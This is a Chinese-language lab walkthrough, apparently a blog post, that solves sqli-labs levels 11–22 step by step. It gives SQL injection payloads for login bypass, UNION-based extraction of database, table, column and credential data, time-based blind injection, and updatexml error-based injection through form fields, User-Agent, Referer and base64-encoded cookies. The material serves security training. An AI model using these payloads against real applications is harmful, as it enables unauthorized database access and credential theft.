zoukankan      html  css  js  c++  java
  • sqli-libs(11-22关)

    Less_11

     点开11关出现登录页面:

    1.可以随便输密码和账号,submit之后出现错误,可以看到查询usernamepasswordand连接放在同一个SQL语句中

     

     打开使用burp suite 进行重新发送,得出最后一句uname=admin&passwd=admin&submit=submit

     

    打开post data uname=admin&passwd=admin&submit=submit复制过来进行修改,输入:uname=admin' or 1=1 #&passwd=admin&submit=Submit即可登陆成功:(此处不能使用--+,需要使用#--+是在url中使用),可验证存在注入漏洞。

     

    2.输入:uname=admin' or 1=1 limit 0,1# &passwd=123&submit=Submit,得到第一个用户名和密码。

    limit 0,1是对第一个用户和密码进行  通过修改第一个数,得到其他的登录用户名

     

    3.uname=a' order by 3 #&passwd=a&submit=Submitt或者uname=a&passwd=a’ order by 2# &submit=Submit同样可以进行判断,最后得出一共有两列。

     

     

    4. uname =a&passwd=a’union select database(),2 # &submit=Submit

    查询到当前的数据库为security.或者uname=a’ union select database(),2 # &passwd=a&submit=Submit

    均可以查询到当前的数据库,当然也可以查询其它信息。

     

    5.uname=a’union select 1,(select schema_name from information_schema.schemata limit 1,1) #&passwd=a&submit=Submit可以查询到当前的第一个数据库,或uname=a’union select 1,selectgroup_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit可以得到所有的数据

     

     

    6.uname=a'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' # &passwd=admin&submit=Submit可以得到/security数据库中的所有表信息

     

    7.uname=a'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # &passwd=admin&submit=Submit可以得到users表中所有字段的信息:

     

    8.uname=a'union select 1,group_concat(concat_ws(0x7e,username,password))from security.users # &passwd=admin&submit=Submit可以得到所有数据库中的账号密码;

     

    Less11总结:

     

    Less12 

    less12使用(”a”)包裹其他操作同less11相同。

    Less_13

    Less_13 使用(’a’)包裹    不返回结果,我们使用盲注进行破解

    1.使用uname=ain') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit,黄色字体用来判断数据库字符长度为几,当判断的正确时则立即显示登陆成功,若判断错误,则反映五秒:

    uname=ain') or if(length(database())=8,1,sleep(5))#&passwd=admin&submit=Submit判断出数据库长度为8

     uname=ain') or left(database(),1)>'a' #&passwd=admin&submit=Submitorleft来猜解第一个字符是多少

    suname=ain') or left(database(),2)='se' #&passwd=admin&submit=Submit通过这样一个一个判断即可

     

    uname=a') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=a &submit=submit使用这种方法也可以判断

     

     后面可以用less11方法推测表,列。

    Less_14

     Less-14使用”a”进行包裹其他操作与less13基本一致。

    Less_15

     Less-15使用admin进行包裹其他操作与less13基本一致。

     

     

    Less_16

     Less-16使用admin进行包裹其他操作与less13基本。

     

    Less_17

    补充知识:

     

    首先在第十七关index.php里面添加echo $sql;  echo “<br>”和echo $update;  echo “<br>”;

     

     

    输入uname=admin'#&passwd=afafa&submit=Submit,不会有更新的那一条语句

     

    输入uname=admin&passwd=afafa'#&submit=Submit,就有更新的那一条语句,所以在passwd里对语句进行更改

     

    首先必须知道用户的名字,然后进行操作,通过报错的方法得知信息

    uname=admin&passwd=afafa' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) #&submit=Submit可查询数据库

     

    uname=admin&passwd=afafa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema ='security' limit 0,1)),1) #&submit=Submit可查询到secuurity库下面的其中一个表的名字

     

    uname=admin&passwd=afafa' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name ='users' limit 0,1),0x7e),1)#&submit=Submit可得到secuurity.users里的其中一个列的名字

     

    Less17总结:

    Less_18

    登陆失败会显示ip地址:

     

    首先我们可以使用mysql命令查看users里的用户名和对应的密码

     

    也可以重置数据库:

     

    登陆成功后会显示IP地址和user agent

     

    php文件中添加       echo $insert; echo "<br>";

     

    再次执行则会显示:

     

    打开burpsuite

     

     

    将黄线处修改为:

    第一种: ‘ or updatexml(1,concat(0x7e,(database())),1) or ‘1’=’1

    第二种: ‘ or updatexml(1,concat(0x7e,(database())),1) , ‘’,’’)#            

    修改为:

    ' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), '','')# 查询到库

    'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1), '','')# 查询到表

     

     

    'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1), '','')# 
    查询到列

     

    ' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), '','')#  查询到字段

     

     

    Less18总结:

     

     

     

     

     

    Less_19

     注册登录再注入登陆成功显示的是referer信息:

     

    登陆失败是没有回显信息的:

     

     

    通过insert语句进行分析

    INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('http://localhost/sqli-labs-master/sqli-labs-master/Less-19/', '127.0.0.1')

     

    分析后得知,需要进行闭合操作,两种方法:
    1' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1
    2‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#

     

    less19总结:

     

    Less_20

    注册登录再注入;

    .使用adminadmin登录成功会显示cookie

     

    登录失败会显示失败信息

    使用burp suite工具 刷新出来cookie ,更改cookie 使uname=admin’ ,点GO:下图说明有注入漏洞:

     

     

     

    查看列数:uname=' order by 5/3 #    通过二分法实验得到列数为3

     

     

    看回显位置:uname=’union select 1,2,3#:

     

     查uname='union select 1,2,group_concat(schema_name)from information_schema.schemata#

     

    uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#

     

     

     查字段uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'#

     

    字段中信息uname='union select 1,2,group_concat(concat_ws('~',username,password))from security.users#

     

     Less20总结:

     

     

     

     

    Less_21

    使用)包裹

    使用adminadmin登录之后, 使用burp suite工具 刷新出来cookie

     

    使用https://base64.us/ 进行解码  

    修改cookie  uname   后面的已经加密了的语句即可:

    uname=')union select 1,2,database()#  编码后为: dW5hbWU9Jyl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkjwqA=

     

    查看列数:uname=') order by 3 #    编码为:   Jykgb3JkZXIgYnkgMyAj 

     

    Less21总结:

     

     

     

     

     

    Less_22

    使用包裹,其他操作与第21关相同

    使用adminadmin登录后,使用burp suite工具 刷新出来cookie

     

    使用https://base64.us/ 进行解码  

    修改cookie  uname   后面的已经加密了的语句即可:

     

    " union select ,2,database()#

    编码后为:IsKgdW5pb24gc2VsZWN0ICwyLGRhdGFiYXNlKCkj

     

     

     

     

     

  • 相关阅读:
    Flex上传文件报“Error #2038”
    AMQ9558
    perl 运算符
    linux gdm 远程桌面访问
    perl 捕获变量
    android apk嵌套 从一个apk启动另外一个apk
    apk调用另一个apk
    ORA-01591 锁被未决分布式事务处理
    jQuery事件控制点击内容下拉
    作业还是作孽?——Leo鉴书79
  • 原文地址:https://www.cnblogs.com/199904-04/p/12295478.html
Copyright © 2011-2022 走看看